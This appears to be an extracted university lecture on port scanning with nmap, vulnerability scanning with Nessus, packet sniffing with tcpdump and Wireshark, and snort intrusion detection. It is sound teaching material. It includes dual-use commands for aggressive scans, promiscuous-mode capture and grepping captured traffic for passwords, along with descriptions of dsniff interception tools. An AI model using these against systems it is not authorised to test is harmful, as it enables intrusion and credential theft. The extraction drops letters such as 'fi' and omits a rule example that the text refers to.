Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing
Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing
Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing
Goals:
Port scanners The nmap port scanner Vulnerability scanners The Nessus vulnerability scanner Packet sniers Intrusion detection The Metasploit Framework The Netcat utility
1
CONTENTS
Section Title
Page
23.1
Port Scanning
3 6 8 10 16 18 21 23 34 40 43 46 56
23.1.1 Port Scanning with Calls to connect() 23.1.2 Port Scanning with TCP SYN Packets 23.1.3 The nmap Port Scanner 23.2 Vulnerability Scanning
23.2.1 The Nessus Vulnerability Scanner 23.2.2 Conguring the nessusd Server 23.2.3 Installing the Nessus Client Software 23.3 Packet Sning
23.3.1 Packet Sning with tcpdump 23.3.2 Packet Sning with wireshark 23.4 23.5 Intrusion Detection with snort Penetration Testing and Developing New Exploits with the Metasploit Framework The Extremely Versatile Netcat Utility Homework Problems
23.6 23.7
61 69
Lecture 23
See Section 21.1 of Lecture 21 for the mapping between the ports and many of the standard and non-standard services. As mentioned there, each service provided by a computer monitors a specic port for incoming connection requests. There are 65,535 dierent possible ports on a machine.
The main goal of port scanning is to nd out which ports are open, which are closed, and which are ltered.
Looking at your machine from the outside, a given port on your machine is open if you are running a server program on the machine and the port is assigned to the server. If you are not running any server programs, then, from the outside, no ports on your machine are open. This would ordinarily be the case with a brand new laptop that is not meant to provide any services to the rest of the world. But, even with a laptop that was clean originally, should you happen to click accidently on an email attachment consisting of malware, you could inadvertently end up installing a server program in your machine.
3
Lecture 23
When we say a port is ltered, what we mean is that the packets passing through that port are subject to the ltering rules of a rewall.
If a port on a remote host is open for incoming connection requests and you send it a SYN packet, the remote host will respond back with a SYN+ACK packet (see Lecture 16 for a discussion of this).
If a port on a remote host is closed and your computer sends it a SYN packet, the remote host will respond back with a RST packet (see Lecture 16 for a discussion of this).
Lets say a port on a remote host is ltered with something like an iptables based packet lter (see Lecture 18) and your scanner sends it a SYN packet or an ICMP ping packet, you may not get back anything at all.
A frequent goal of port scanning is to nd out if a remote host is providing a service that is vulnerable to buer overow attack (see Lecture 21 for this attack).
Lecture 23
Port scanning may involve all of the 65,535 ports or only the ports that are well-known to provide services vulnerable to dierent security-related exploits.
Lecture 23
connect()
The simplest type of a scan is made with a call to connect(). The manpage for this system call on Unix/Linux systems has the following prototype for this function:
#include <sys/socket.h> int connect(int socketfd, const struct sockaddr *address, socklen_t address_len);
where the parameter socketfd is the le descriptor associated with the internet socket constructed by the client (with a call to three-argument socket()), the pointer parameter address that points to a sockaddr structure that contains the IP address of the remote server, and the parameter address_len that species the length of the structure pointed to by the second argument.
A call to connect() if successful completes a three-way handshake (that was described in Lecture 16) for a TCP connection with a server. The header le sys/socket.h include a number of denitions of structs needed for socket programming in C.
Lecture 23
In a typical use of connect() for port scanning, if the connection succeeds, the port scanner immediately closes the connection (having ascertained that the port is open).
Lecture 23
Scanning remote hosts with SYN packets is probably the most popular form of port scanning.
As discussed at length in Lecture 16 when we talked about SYN ooding for DoS attacks, if your machine wants to open a TCP connection with another machine, your machine sends the remote machine a SYN packet. If the remote machine wants to respond positively to the connection request, it responds back with a SYN+ACK packet, that must then be acknowledged by your machine with an ACK packet.
In a port scan based on SYN packets, the scanner machine sends out SYN packets to the dierent ports of a remote machine. When the scanner machine receives a SYN+ACK packet in return, the scanner can be sure that the port on the remote machine is open.
In port scans based on SYN packets, the scanner never sends back the ACK packet to close any of the connections. So any connections that are created are always in half-open states, until
8
Lecture 23
Usually, instead of sending back the expected ACK packet, the scanner sends an RST packet to close the half-open connection.
Lecture 23
23.1.3: The
nmap stands for network map. This open-source scanner was developed by Fyodor (see http://insecure.org/). This is one of the most popular port scanners that runs on Unix/Linux machines. There is good documentation on the scanner under the Reference Guide button at http://nmap.org/.
nmap is actually more than just a port scanner. In addition to listing the open ports on a network, it also tries to construct an inventory of all the services running in a network. It also tries to detect as to which operating system is running on each machine, etc.
In addition to carrying out a TCP SYN scan, nmap can also carry out TCP connect() scans, UDP scans, ICMP scans, etc.
Regarding UDP scans, note that SYN is a TCP concept, so there is no such thing as a UDP SYN scan. In a UDP scan, if a UDP packet is sent to a port that is not open, the remote machine will respond with an ICMP port-unreachable message. So the absence of a returned message can be construed as a sign of an open UDP port. However, as you should know from Lecture 18, a packet ltering rewall at a remote machine may prevent the machine from responding with an ICMP error message even when a port
10
Lecture 23
is closed.
As listed in the manpage, nmap comes with a large number of options for carrying out dierent kinds of security scans of a network. To give the reader a sense of the range of possibilities incorporated in these options, here is a partial description of the entries for the two options -sP and -sV: -sP :
This option, also known as the ping scanning option, is for ascertaining as
to which machines are up in a network. Under this option, nmap sends out ICMP echo request packets to every IP address in a network. Hosts that respond are up. But this does not always work since many sites now block echo request packets. To get around this, nmap can also send a TCP ACK packet to (by default) port 80. If the remote machine responds with a RST back, then that machine is up. Another possibility is to send the remote machine a SYN packet and waiting for a RST or a SYN/ACK. For root users, nmap uses both the ICMP and ACK techniques in parallel. For non-root users, only the TCP connect() method is used.
-sV :
This is also referred to as Version Detection. After nmap gures out which
TCP and/or UDP ports are open, it next tries to gure out what service is actually running at each of those ports. A le called nmap-services-probes is used to determine the best probes for detecting various services. In addition to determine the service protocol (http, ftp, ssh, telnet, etc.), nmap also tries to determine the application name (such as Apache httpd, ISC bind, Solaris telnetd, etc.), version number, etc.
11
Lecture 23
-sT : large The -sT option carries out a TCP connect() scan. See Section 23.1.1 for port scanning with calls to connect().
-sU :
This option sends a dataless UDP header to every port. As mentioned earlier
in this section, the state of the port is inferred from the ICMP response packet (if there is such a response at all).
If nmap is compiled with OpenSSL support, it will connect to SSL servers to gure out the service listening behind the encryption.
To carry out a port scan of your own machine, you could try (called as root)
nmap -sS localhost
The -sS option carries out a SYN scan. If you wanted to carry out an aggressive SYN scan of, say, moonshine.ecn.purdue.edu, you would call as root:
nmap -sS -A moonshine.ecn.purdue.edu
where you can think of the -A option as standing for either aggressive or advanced. This option enables OS detection, version scanning, script scanning, and more. [IMPORTANT: If the
12
Lecture 23
target machine has the DenyHosts shield running to ward o the dictionary attacks (See Lecture 24 for what that means) and you repeatedly scan that machine with the -A option turned on, your IP address may become quarantined on the target machine (assuming that port 22 is included in the range of the ports scanned). When that happens, you will not be able to SSH into the target machine. The reason I mention this is because, when rst using nmap, most folks start by scanning the machines they normally use for everyday work. Should the IP address of your machine become inadvertently quarantined in an otherwise useful-to-you target machine, you will have to ask the administrator of the target machine to restore your SSH privileges there. This would normally require deleting your IP address from six dierent les that are maintained by DenyHosts.]
You can limit the range of ports to scan with the -p option, as in the following call which will cause only the rst 1024 ports to be scanned:
nmap -p 1-1024 -sT moonshine.ecn.purdue.edu
The larger the number of router/gateway boundaries that need to be crossed, the less reliable the results returned by nmap. As an illustration, I rarely get accurate results with nmap when I am port scanning a Purdue machine from home. [When scanning a
remote machine several hops away, I sometimes get better results with my very simple port scanner port scan.pl shown in Lecture 16. But, obviously, that scanner comes nowhere close to matching the amazing capabilities of nmap.
]
13
Lecture 23
By default, nmap rst pings a remote host in a network before scanning the host. The idea is that if the machine is down, why waste time by scanning all its ports. But since many sites now block/lter the ping echo request packets, this strategy may bypass machines that may otherwise be up in a network. To change this behavior, the following sort of a call to nmap may produce richer results (at the cost of slowing down a scan):
nmap -sS -A -P0 moonshine.ecn.purdue.edu
The -P0 option (the second letter is zero) tells nmap to not use ping in order to decide whether a machine is up.
14
Lecture 23
nmap can make a good guess of the OS running on the target machine by using whats known as TCP/IP stack ngerprinting. It sends out a series of TCP and UDP packets to the target machine and examines the content of the returned packets for the values in the various header elds. These may include the sequence number eld, the initial window size eld, etc. Based on these values, nmap then constructs an OS signature of the target machine and sends it to a database of such signatures to make a guess about the OS running on the target machine.
15
Lecture 23
The terms security scanner, vulnerability scanner, and security vulnerability scanner all mean roughly the same thing. Any such system may also be called just a scanner in the context of network security. Vulnerability scanners frequently include port scanning.
A vulnerability scanner scans a specied set of ports on a remote host and tries to test the service oered at each port for its known vulnerabilities.
Be forewarned that an aggressive vulnerability scan may crash the machine you are testing. It is a scanners job to connect to all possible services on all the open ports on a host. By the very nature of such a scan, a scanner will connect with the ports and test them out in quick succession. If the TCP engine on the machine is poorly written, the machine may get overwhelmed by the network demands created by the scanner and could simply crash. That is why many sysadmins carry out security
16
Lecture 23
scans of their networks no more than once a month or even once a quarter.
17
Lecture 23
According to the very useful web site Top 100 Network Security Tools (http://sectools.org), the source code for Nessus, which started out as an open-source project, was closed in 2005. Now for commercial applications you have to maintain a paid subscription to the company Tenable Computer Networks for the latest vulnerability signatures. However, it is still free for personal and non-commercial use.
Nessus is a remote security scanner, meaning that it is typically run on one machine to scan all the services oered by a remote machine in order to determine whether the latter is safeguarded against all known security exploits.
According to the information posted at http://www.nessus. org: Nessus is the worlds most popular vulnerability scanner that is used in over 75,000 organizations world-wide.
The Nessus Project was started by Renaud Deraison in 1998. In 2002, Renaud co-founded Tenable Network Security with Ron Gula, creator of the Dragon Intrusion Detection System and Jack
18
Lecture 23
Huard. Tenable Network Security is the owner, sole developer and licensor for the Nessus system.
The Nessus vulnerability scanning system consists of a server and a client. They can reside in two separate machines.
The server program is called nessusd. This is the program that attacks other machines in a network.
The client program is called nessus. The client orchestrates the server, meaning that it tells the server as to what forms of attacks to launch and where to deposit the collected security information. The client packages dierent attack scenarios under dierent names so that you can use the same attack scenario on dierent machines or dierent attack scenarios on the same machine.
While the server nessusd runs on a Unix/Linux machine, it is capable of carrying out a vulnerability scan of machines running other operating systems.
19
Lecture 23
The security tests for the Nessus system are written in a special scripting language called Network Attack Scripting Language (NASL). Supposedly, NASL makes it easy to create new security tests.
Each security test, written in NASL, consists of an external plugin. There are currently over 13, 000 plugins available. New plugins are created as new security vulnerabilities are discovered. The command nessus-update-plugins can automatically update the database of plugins on your computer and do so on a regular basis.
The client tells the server as to what category of plugins to use for the scan.
Nessus can detect services even when they are running on ports other than the standard ports. That is, if the HTTP service is running at a port other than 80 or TELNET is running on a port other than port 23, Nessus can detect that fact and apply the applicable tests at those ports.
Nessus has the ability to test SSLized services such as HTTPS, SMTPS, IMAPS, etc.
20
Lecture 23
nessusd Server
You must rst create one or multiple user accounts that will be used when a nessus client GUI connects with the nessus server to initiate a scan. This is done with the following command as root
nessus-adduser
It will start by asking you for the name and password for the new user. It will then ask you whether you want this user to have admin privileges. Say n for no for now. Subsequently, it will ask you for rules to be applied to the user. There is no great reason to use any user-specic rules at all for personal installations of Nessus. So just by hitting Enter on your keyboard without supplying any rules, it will terminate the adduser session. For further information on this command, do
man nessus-adduser
There you can nd out that to remove a user you should say as root
nessus-rmuser
This is the last step for server conguration. This step updates the plugins. Note that each plugin is based on a vulnerability signature:
21
Lecture 23
nessus-update-plugins
By the way, this updating step only works if your server is registered with http://www.nessus.org/register/.
22
Lecture 23
You need to install a nessus client before you can do any scanning with the server. As mentioned earlier, it is the client that controls the server (although it is the server that actually does the attacking and scanning).
You have three choices for clients: A command line client, nessus A GUI based client in Linux. On a Ubuntu platform, when you execute just nessus in a command line, that brings up the GUI version of the nessus client. A GUI based client in Windows. You run the server (meaning the scanner) on a Linux machine while the client is run remotely on a Windows machine. For this you must install on a Windows machine the dlls in nessuswx-1.4.5d-source.zip
23
Lecture 23
Conguring a client means telling the client to create a particular attack scenario. But since it is the server that actually attacks a remote host, the server must be on before you can start putting together attack scenarios on the client.
Therefore, you rst start the nessusd server daemon by (as root)
/etc/init.d/nessusd start
The default port for the server daemon, nessusd, is 1241. This is the port the daemon will monitor for incoming connection requests from Nessus clients. To make sure that the server is monitoring this port, you can invoke:
netstat -an | grep 1241
It should return
tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN
or better yet by
netstat -tap | grep -i listen
24
Lecture 23
Now you are ready to start the client. It is possible to use a command-line invocation of the client by using syntax an example of which is shown below:
nessus -q localhost 1241 <user> <pwd> <targets> <results>
where -q option is for running Nessus in the batch mode, and where <user> and <pwd> are the username and the password for the authorized user created with the nessus-adduser command when the server was rst installed. The argument <targets> is the full pathname to the le that lists the symbolic hostnames of the target machines to be attacked and <results> is the name of the le in which the results of the scan can be dumped. Here is an example of this command line call
nessus -q localhost 1241 ack2 ack2 nessus_targets nessus.txt
where I have assumed that ack2 was a username created with the nessus-adduser command and that the password associated with this username is the same. In the above invocation, the name of the target machine to be scanned is in the le nessus_targets le and we want the scan results to be dumped in the le nessus.txt. Note that by default the scanner will only check the rst 15,000 ports.
Notwithstanding the above command-line syntax for ring up a client, you are more likely to use a GUI based client that we will
25
Lecture 23
now explain. On a Ubuntu machine, a GUI based client on a Linux machine can be brought up by:
nessus &
The rst of these, Nessusd host is the name of the machine on which the nessusd daemon server is running. If you running the client and the server on the same machine, Nessusd host can be set to localhost. The other information needed under the Nessusd host is the port number that the daemon server will be monitoring for connection requests from Nessus clients,
26
Lecture 23
the user login, and the user password. The user login name and the password must be what you created earlier with the nessusadduser command. You must enter the information required under the rst tab and connect with the server in order to activate the other tabs.
Now lets talk about the second tab shown on the Nessus client GUI. This tab is for Plugins. Each plugin denes a separate test for a security vulnerability and currently there are over 13, 000 plugins. The plugins are arranged into families of related tests. The upper window under the Plugin tab will list the family names of the plugins. If you click on a family name, the lower window will show all the plugins in that family. If you click on one of the plugins in the lower window, a window will pop up explaining the nature of the plugin and what security threat the plugin represents. I think you will nd it interesting to read the docs on the plugin for CGI related security holes. [For applying
the Nessus scanner to a small home-based network, there would probably never be a reason to have all 13277 plugins turned on. Suppose all the machines in your network are either Ubuntu Linux and Windows, youd want to disable the plugins that are meant for other operating system, such as for Mandrake Linux, MacOS, HP-UX, etc. To disable plugins either on an entire family basis or individually, you have to click on the respective plugin entry to highlight it, and to then scroll the display all the way to the right to see the checkbox for that entry. As you disable the not-needed plugins, note the count at the bottom of the Plugin Selection Display. After all the disabling I did, I was left with 5825 out of 13277 plugins.
27
Lecture 23
I ignored the Credentials options. Apparently, you need it for the Local Security Checks feature of Nessus. When this feature is enabled, Nessus carries out an ssh login (using certicates) into each host on the network that has a nessus account installed on it. Nessus then carries out a local security check on each host looking at the host from the inside. This security check consists of verifying that all the security related patches are installed and up-to-date.
Ill next go through all the options for setting up a scan. These are under the Scan Options tab on the Nessus client GUI page. The scan options are 1. port range: The default is 1 to 15000. 2. I checked Consider unscanned ports as closed. This makes scanning faster as it keeps Nessus from sending packets to ports that were not specied above. 3. I went with the default of 20 for the number of hosts to test at one time. The Nessus server spawns that many scanner processes. 4. I went with the default of 4 for the maximum number of security checks to be launched simultaneously. Each of the scanner processes mentioned above will launch 4 security check pro28
Lecture 23
cesses (one for each plugin). [What that means is that with these settings, the Nessus server will launch a total of 80 processes.] 5. I ignored the Path to CGIs 6. I ignored the Do a reverse lookup of the IP before testing it. 7. I ignored the Optimize the tests. (See the Nessus client manual for why you may wish to disable it.) 8. I unchecked Safe checks and thus disabled it. But note that by disabling Safe checks you run the risk that some security checks may harm the host being attacked. 9. I ignored the Designate hosts by their MAC address. The manual says that designating hosts by their MAC addresses can be useful in DHCP networks. I am not going for this option since I am hoping to specify the network hosts in my home network by their IP addresses. [The acronym MAC here stands
for Media Access Control. Recall that in Lecture 15, we used the same acronym for Message Authentication Code.
10. That brings us to the Port Scanners option under the Scan Options tab. Nessus lists the following port scanners to choose from:
29
Lecture 23
Netstat scanner (As described in Lecture 16, netstat is a utility for printing out information regarding network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.) Calling this a scanner makes sense for old platforms. For newer platforms, note that netstat cannot be invoked on a remote host; it can only be used to scan the local ports to see what relationship it is vis-a-vis the remote hosts. Ping the remote host. Nessus SNMP scanner (SNMP stands for Simple Network Management Protocol. It is the internet standard protocol for exchanging management information between management console applications and managed entities (hosts, routers, bridges, hubs). An SNMP scanner allows you to scan a list of hosts by carrying out ping, DNS, and SNMP queries. For each host queried, an SNMP query typically fetches the following information: whether or not the host is a router, the system description, current number of established TCP connections, the max number of TCP connections the host can support, the number of network interfaces on the host, etc.) SYN scan (Performs a fast SYN port scan. It achieves its speed by rst computing the RTT Round Trip Time with ping and then using that info to quickly send SYN packets to the remote host. Needs the ping port scanner to
30
Lecture 23
be turned on.) Scan for LaBrea Tarpitted Hosts. Your nessusd server sends a bogus ACK and ACK+windowprobe packet to a host. Also sends a SYN packet to test for non-persisting LaBrea machines. LaBrea is a program that creates a tarpit or, as
some have called it, a sticky honeypot. LaBrea takes over unused IP addresses on a network and creates virtual machines that answer to connection attempts. LaBrea answers those connection attempts in a way that causes the machine at the other end to get stuck, sometimes for a very long time. The system uses IP aliasing to redirect a packet directed to an unused IP address in a network so that it can be processed by a machine with a legitimate IP address. So an incoming connection request, in the form of a SYN packet, to an unused IP address can be responded to with a SYN+ACK packet, which the remote intruder responds to with an ACK packet, thus completing the 3-way handshake. This is referred to as tarpitting unused IP addresses in a network because the remote intruder gets stuck (until such time as the connections timeout) dealing with what look like open connections to the intruder.
That takes us to the Target tab on the Nessus client GUI. For the Target option, I entered
moonshine.ecn.purdue.edu
I did NOT enable Perform a DNS Zone Transfer. My understanding is that, when enabled, it allows the Nessus client to gure
31
Lecture 23
out all of the hosts in a local network by downloading the zone information from a specied nameserver. Obviously, if the target nameserver is some external nameserver, the hosts returned will be what that nameserver is an authoritative nameserver for.
The next tab on the Nessus client GUI is Prefs. for Preferences. The very long page under this tab gives you all kinds of options for controlling your scans. Scroll down this page to see all the choices. You can also use this option to change the default values used for ports by some of the plugins. For example, the default port for SNMP attacks is 161. It can be changed by clicking on SNMP Settings and entering a new value in the panel underneath. Similarly, if HTTP access to a remote host requires a username and password, that can be supplied by clicking on HTTP Login Page. I did not change anything through this option.
The next tab on the Nessus client GUI is KB. The KB option stands for Knowledge Base. Using this feature allows you to not disturb the users of your network by doing a daily portscan of a /24 network and to not waste the results of prior tests. The Knowledge Base is the list of information gathered about
32
Lecture 23
a trusted host. It contains the list of open ports, the OS on the host, and much more information.
You are now ready to start scanning. Click on Start the Scan at the bottom of the client GUI.
After a scan is complete, a new window will pop up to display the report produced by the scan. You will have to click on the various items in this window to see the security holes and other vulnerabilities found by the scan. You can save the report for a permanent record by clicking on a button in the window.
33
Lecture 23
A packet snier is a passive device (as opposed to a port or vulnerability scanners that by their nature are active systems).
Packet sniers are more formally known as network analyzers and protocol analyzers.
The name network analyzer is justied by the fact that you can use a packet snier to localize a problem in a network. As an example, suppose that a packet snier says that the packets are indeed being put on the wire by the dierent hosts. Now if the network interface on a particular host is not seeing the packets, you can be a bit more sure that the problem may be with the network interface in question.
The name protocol analyzer is justied by the fact that a packet snier could look inside the packets for a given service (especially the packets exchanged during handshaking and other
34
Lecture 23
such negotiations) and make sure that the packet composition is as specied in the RFC document for that service protocol.
What makes packet sning such a potent tool is that a majority of LANs are based on the shared Ethernet notion. In a shared Ethernet, you can think of all of the computers in a LAN as being plugged into the same wire (notwithstanding appearances to the contrary). So all the Ethernet interfaces on all the machines that are plugged into the same router will see all the packets. On wireless LANs, all the interfaces on the same channel see all the packets meant for all of the hosts who have signed up for that channel.
If you will recall from Lecture 16, it is the lowest layer of the TCP/IP protocol stack, the Link Layer, that actually puts the information on the wire. What is placed on the wire consists of data packets called frames. Each Ethernet interface gets a 48bit address called the MAC address that is used to specify both the source and the destination of each frame. Even though each network interface in a LAN sees all the frames, any given interface normally would not accept a frame unless the destination MAC address corresponds to the interface. [Like its earlier usage in Section 23.2.3
of this lecture, the acronym MAC here stands for Media Access Control. Recall that in Lecture 15, we used the same acronym for Message Authentication Code.
35
Lecture 23
Preamble
D-addr MAC
S-addr MAC
Frame-Type
Data
CRC
8 bytes
6 bytes 6 bytes 2 bytes <----- Ethernet Frame Header -----> 14 bytes <---------- maximum of 1514 bytes
4 bytes
---------------->
where D-addr stands for destination address and S-addr for source address. The 8-byte Preamble eld consists of alternating 1s and 0s for the rst seven bytes and 10101011 for the last byte; its purpose is to announce the arrival of a new frame and to enable all receivers in a network to synchronize themselves to the incoming frame. The 2-byte Type eld identies the higher-level protocol (e.g., IP or ARP) contained in the data eld. The Type eld therefore tells us how to interpret the data eld. The last eld, the 4-byte CRC (Cyclic Redundancy Check) provides a mechanism for the detection of errors that might have occurred during transmission. If an error is detected, the frame is simply dropped. From the perspective of a packet snier, each Ethernet frame consists of a maximum of 1514 bytes.
The minimum size of an Ethernet frame is 64 bytes (D-addr: 6 bytes, S-addr: 6 bytes, Frame Type: 2 bytes, Data: 46 bytes, CRC checksum: 4 bytes). Padding bytes must be added if the data itself consists of fewer than 46 bytes. The maximum size
36
Lecture 23
is limited to 1518 bytes from the perspective of whats put on the wire, since it includes the 4 bytes CRC checksum. From the perspective of what would be received by an upper level protocol (say, the IP protocol) at the receiving end, the maximum size is limited to 1514 bytes. As you can guess, the number of bytes in the data eld must not exceed 1500 bytes. [In modern Gigabit networks,
a frame size of only 1514 bytes leads to excessively high frame rates. So there is now the notion of a Jumbo Ehternet Frame for ultrafast networks.
In OSI model of the TCP/IP protocol stack [see Section 16.2 of Lecture 16 for the OSI model], it is the Data Link Layers job to map the destination IP address in an outgoing packet to the destination MAC address and to insert the MAC address in the outgoing frame. The Physical Layer then puts the frame on the wire.
The Data Link Layer uses a protocol called the Address Resolution Protocol (ARP) to gure out the destination MAC address corresponding to the destination IP address. [In Section 9.8.1 of Lecture 9 I showed how ARP packets can be used to crack the encryption key in a locked WiFi.] As a rst step in this protocol, the system looks into the locally available ARP cache. If no MAC entry is found in this cache, the system broadcasts an ARP request for the needed MAC address. As this request propagates outbound toward the destination machine, either en-route gateway machine supplies the answer from its own ARP cache, or, eventually, the destination machine supplies the
37
Lecture 23
answer. The answer received is cached for a maximum of 2 minutes. [If you want to see the contents of the ARP cache at any given moment, simply execute the
command arp from the command line. It will show you the IP addresses and the associated MAC addresses currently in the cache. You dont have to be root to execute this command. Do man arp on your Ubuntu machine to nd out more about the arp command.
Unless otherwise constrained by the arguments supplied, a packet snier will, in general, accept all of the frames in the LAN regardless of the destination MAC addresses in the individual frames.
When a network interface does not discriminate between the incoming frames on the basis of the destination MAC address, we say the interface is operating in the promiscuous mode. [You
can easily get an interface to work in the promiscuous mode simply by invoking ifconfg ethX promisc as root where ethX stands for the name of the interface (it would be something like eth0, eth1, wlan0, etc.).
About the power of packet sniers to spy on the users in a LAN, the dsniff packet snier contains the following utilities that can collect a lot of information on the users in a network sshmitm : This can launch a man-in-the-middle attack on an SSH link. (See Lecture 9 for the man-in-the-middle attack). As mentioned earlier, basically the idea is to intercept the
38
Lecture 23
public keys being exchanged between two parties A and B wanting to establish an SSH connection. The attacker, X, that can eavesdrop on the communication between A and B with the help of a packet snier pretends to be B vis-a-vis A and A vis-a-vis B. urlsnarf : From the snied packets, this utility extracts the URLs of all the web sites that the network users are visiting. mailsnarf: This utility can track all the emails that the network users are receiving. webspy : This utility can track a designated users web surng pattern in real-time. and a few others
39
Lecture 23
tcpdump
This is an open-source packet snier that comes bundled with all Linux distributions.
You saw many examples in Lectures 16 and 17 where I used tcpdump to give demonstrations regarding the various aspects of TCP/IP and DNS. The notes for those lectures include explanations for the more commonly used commandline options for tcpdump.
tcpdump uses the pcap API (in the form of the libpcap library) for packet capturing. (The Windows equivalent of libpcap is WinCap.)
Check the pcap manpage in your Linux installation for more information about pcap. You will be surprised by how easy it is to create your own network analyzer with the pcap packet capture library.
40
Lecture 23
Here is an example of how tcpdump could be used on your Linux laptop: First create a le for dumping all of the information that will be produced by tcpdump:
touch tcpdumpfile chmod 600 tcpdumpfile
where I have also made it inaccessible to all except myself as root. Now invoke tcpdump:
tcpdump -w tcpdumpfile
This is where tcpdump begins to do its work. It will will print out a message saying as to which interface it is listening to. After a while of data collection, now invoke
strings tcpdumpfile | more
This will print out all the strings, meaning sequences of characters delimited by nonprintable characters, in the tcpdumpfile. The function strings is in the binutils package. For example, if you wanted to see your password in the dump le, you could invoke:
strings tcpdumpfile | grep -i password
41
Lecture 23
Hit <ctrl-c> in the terminal window in which you started tcpdump to stop packet sning.
42
Lecture 23
Wireshark is a packet snier that, as far as the packet sning is concerned, work pretty much the same way as tcpdump. (It also uses the pcap library.) What makes wireshark special is its GUI front end that makes it extremely easy to analyze the packets.
As you play with Wireshark, you will soon realize the importance of a GUI based interface for understanding the packets and analyzing their content in your network. As but one example of the ease made possible by the GUI frontend, suppose you have located a suspicious packet and now you want to look at the rest of the packets in just that TCP stream. With Wireshark, all you have to do is to click on that packet and turn on follow TCP stream feature. Subsequently, you will only see the packets in that stream. The packets you will see will include resend packets and ICMP error message packets relevant to that stream.
With a standard install of the packages, you can bring up the wireshark GUI by just entering wireshark in the command line. Yes, you can call wireshark with a large number of options to
43
Lecture 23
customize its behavior, but it is better to use the GUI itself for that purpose. So call wireshark without any options. [If you
are overwhelmed by the number of packets you see in the main window, enter something like http in the Filter text window just below the toplevel icons. Subsequently, you will only see the http packets. By ltering out the packets you do not wish to see, it is easier to make sense of what is going on.]
The wireshark users manual (HTML) is readily accessible through the Help menu button at the top of the GUI.
To get started with sning, you could start by clicking on capture. This will bring up a dialog window that will show all of the network interfaces on your machine. Click on Start for the interface you want to sni on. Actually, instead click on the Options for the interface and click on Start through the resulting dialog window where you can name the le in which the packets will be dumped.
You can stop sning at any time by clicking on the second-row icon with a little red x on it.
Lecture 23
list under Help menu button. It is instructive to scroll down this list if only to get a sense of how varied and diverse the world internet communications has become.
Wireshark gives you three views of each packet: A one line summary that looks like
Packet Time Source Destination Protocol Info Number -----------------------------------------------------------------1 1.018394 128.46.144.10 192.168.1.100 TCP SSH > 33824 [RST,ACK] ..
A display in the middle part of the GUI showing further details on the packet selected. Suppose I select the above packet by clicking on it, I could see something like the following in this details display:
Frame 1 (54 bytes on the wire, 54 bytes captured) Ethernet II, Src: Cisco-Li_6f:a8:db (00:18:39:6f:a8:db), Dst: ........... Internet Protocol: Src: 128.46.144.10 (128.46.144.10) Dst: ....... Transmission Control Protocol: Src Port: ssh (22), Dst Port: 33824 ....
The lowest part of the GUI shows the hexdump for the packet.
Note that wireshark will set the local Ethernet interface to promiscuous mode so that it can see all the Ethernet frames.
45
Lecture 23
snort
While being a passive capturer of the packets in a LAN just like a regular packet snier, an intrusion detector can bring to bear on the packets some fairly complex logic to decide whether an intrusion has taken place.
One of the best known intrusion detectors is snort. By examining all the packets in a network and applying appropriate rulesets to them, it can do a good job of detecting intrusions. [snort does everything that tcpdump does plus more.] Like tcpdump, snort is an open-source command-line tool.
What makes snort a popular choice is its easy-to-learn and easyto-use rule language for intrusion detection. Just to get a sense
46
Lecture 23
of the range of attacks people have written rules for, here are the names of the rule les in /etc/snort/rules directory on my Ubuntu machine:
backdoor.rules bad-traffic.rules chat.rules community-bot.rules community-deleted.rules community-dos.rules community-exploit.rules community-ftp.rules community-game.rules community-icmp.rules community-imap.rules community-inappropriate.rules community-mail-client.rules community-misc.rules community-nntp.rules community-oracle.rules community-policy.rules community-sip.rules community-smtp.rules community-sql-injection.rules community-virus.rules community-web-attacks.rules community-web-cgi.rules community-web-client.rules community-web-iis.rules community-web-misc.rules community-web-php.rules ddos.rules deleted.rules dns.rules dos.rules experimental.rules exploit.rules finger.rules ftp.rules icmp-info.rules icmp.rules imap.rules info.rules local.rules misc.rules multimedia.rules mysql.rules netbios.rules nntp.rules oracle.rules other-ids.rules p2p.rules pop2.rules pop3.rules porn.rules rpc.rules rservices.rules scan.rules shellcode.rules smtp.rules snmp.rules sql.rules telnet.rules tftp.rules virus.rules web-attacks.rules web-cgi.rules web-client.rules web-coldfusion.rules web-frontpage.rules web-iis.rules web-misc.rules web-php.rules x11.rules
where the keyword alert is the action part of the rule, the keyword tcp the protocol part, the string any any the source part, the string -> the direction operator, and the string
47
Lecture 23
192.168.1.0/24 111 the destination part. These ve parts constitute the rule header. What comes after that inside () is the rule body.
To understand the header better, the string any any when used as the source means from any IP address and from any source port. The portion 192.168.1.0/24 of the destination part means a Class C network since its rst 24 bits are xed as shown. The portion 80 species the destination port. The direction operator can be either -> or <- or <>, the last for packets going in either direction.
It is the body of a rule that takes some time getting used to. Remember, the body is whatever is between the parentheses ( and ).
The body consists of a sequence of rule options separated by ;. A couple of the more frequently used options are: (1) the metadata option, and (2) the payload detection option. The purpose
of the metadata option is to convey some useful information back to the human operator. The purpose of the payload option is to establish a criterion for triggering the rule, etc.
Lecture 23
of the more commonly used keywords are for the metadata option are: msg, reference, classtype, priority, sid, rev, etc. Some of the more commonly used keywords for the payload detection option are: content that looks for a string of bytes in the packet payload, nocase that makes payload detection case insensitive, offset that species how many bytes to skip before searching for the triggering condition, pcre that says that matching of the payload will be with a Perl compatible regular expression, etc.
In the rule example shown above, the body contained two options: the metadata option msg and the payload detection option content. Therefore, that rule will be triggered by any TCP packet whose payload contains the byte sequence A1 CC 35 87. When you are listing the bytes in hex, you are supposed to place them between | and |.
It is often useful to only trigger a rule if the packet belongs to an established TCP session. This is accomplished with the flow option. The body of a rule will contain a string like flow: to server, established if you wanted the rule to be triggered by a packet meant for a server and it was a part of an established session between the server and a client.
49
Lecture 23
You can also cause one rule to create conditions for triggering another rule later on. This is done with the flowbits option. An option declaration inside the rule body that looks like
flowbits:set, community_is_proto_irc;
means that you have set a tag named community is proto irc. Now if there is another rule that contains the following option declaration inside its body:
flowbits:isset, community_is_proto_irc;
this would then become a condition for the second rule to re.
With that very brief introduction to the rule syntax, lets now peek into some of the rule les that are used for intrusion detection.
